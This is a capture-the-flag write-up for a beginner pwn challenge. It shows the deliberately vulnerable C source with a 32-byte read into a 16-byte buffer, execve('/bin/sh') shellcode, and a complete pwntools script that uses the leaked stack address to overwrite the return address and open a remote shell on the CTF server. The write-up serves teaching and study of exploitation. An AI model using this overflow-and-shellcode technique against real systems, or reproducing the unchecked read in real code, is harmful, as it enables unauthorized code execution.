Ramadan CTF 2026 - Arj3 Lil Chorba
[ Arj3 Lil Chorba ] Writeup
Category: Pwn (Buffer Overflow + Shellcode)
Difficulty: Easy
Author: Nerdicon
Access all challenges here:
GitHub Repository
Tools Used
ghidra/gdbfor analysispython3 (pwntools)for exploit scripting and shellcode assembly
Overview
“Koul el brika, w arj3 lil chorba” – “Eat the brika, then go back to the chorba.” A beautiful Ramadan food reference turned into a shellcode injection challenge!
The program gives us two buffers on the stack, leaks their addresses, and lets us write to both. We overflow the small brika buffer to redirect execution into the large chorba buffer where we place our shellcode.
Source Code Analysis
The source code is provided:
1
2
3
4
5
6
7
8
9
10
11
12
13
void vuln() {
char brika[16] = {0};
char chorba[256] = {0};
printf("Brika : %p\n", brika);
printf("Chorba: %p\n", chorba);
printf("Koul el brika: ");
fread(brika, 32, 1, stdin); // reads 32 bytes into 16-byte buffer!
printf("W Arj3 lil Chorba: ");
fread(chorba, 256, 1, stdin); // fills chorba with our shellcode
}
File and checksec
Let’s run the usual commands to get an idea of the binary and it’s protections :
It should be very obvious what we need to do , we need to inject and somehow execute a shellcode because the binary have NX disabled , let’s run the binary and analyse futhermore and see …
Key observations:
- Stack leak: Both
brikaandchorbaaddresses are printed – we know exactly where our buffers live. - Overflow in brika:
fread(brika, 32, 1, stdin)reads 32 bytes into a 16-byte buffer. That’s 16 bytes of overflow – enough to overwrite the saved RBP and saved RIP. - Shellcode buffer:
chorbais 256 bytes, read exactly withfread. This is where we’ll put our shellcode. - NX might be off since we’re injecting shellcode on the stack (the binary is compiled to allow executable stack).
Tip: The stack layout has
brikaabovechorba(higher address). The overflow frombrikareaches the saved return address. When the function returns, it jumps to wherever we pointed it – straight intochorba.
Exploitation Plan
- Receive the leaked
chorbaaddress from the program output. - Overflow
brika: Send 24 bytes of padding (16 bytes buffer + 8 bytes saved RBP) + thechorbaaddress. This overwrites the return address to point at our shellcode. - Send shellcode into
chorba: A classicexecve("/bin/sh", NULL, NULL)shellcode padded to 256 bytes.
The Shellcode
We use pwntools’ inline assembler for a clean execve syscall:
mov rax, 59 ; syscall number for execve
mov rdi, 0x0068732f6e69622f ; "/bin/sh\0" packed as integer
push rdi ; push string onto stack
mov rdi, rsp ; rdi = pointer to "/bin/sh"
mov rsi, 0 ; argv = NULL
mov rdx, 0 ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
mov rax, 60 ; exit syscall (clean exit)
mov rdi, 69
syscall
Tip: The string
/bin/sh\0fits in 8 bytes:0x0068732f6e69622f. We push it onto the stack and use RSP as the pointer. This avoids needing a separate.datasection reference.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.arch = "amd64"
#p = process("./main")
p = remote("tcp.espark.tn" , 1122)
# Receive leaked chorba address
p.recvuntil(b"Chorba: ")
chorba_addr = p.recvline()
log.info(f"{chorba_addr=}")
chorba_addr = int(chorba_addr, 16)
# Stage 1: Overflow brika -> redirect return to chorba
payload = b"A" * 24
payload += p64(chorba_addr)
log.info(len(payload))
p.send(payload)
# Stage 2: Send shellcode into chorba
p.send(asm("""
mov rax, 59
mov rdi, 0x0068732f6e69622f
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall
mov rax, 60
mov rdi, 69
syscall
""").ljust(256, b"\x90"))
p.interactive()
Key Takeaways
- Stack leaks make shellcode injection trivial. If the program tells you where a buffer lives, you know exactly where to redirect execution.
- Shellcode on the stack is possible when NX is disabled. Always check with
checksec– if the stack is executable, shellcode is the simplest attack. - The
fread(buf, size, 1, stdin)call reads exactlysizebytes. Unlikefgets, it does not stop at newlines, making it convenient for binary payloads. - Padding shellcode with NOP slides (
\x90) ensures alignment doesn’t matter – execution will slide into the real instructions.
Helpful Resources
Thanks for reading!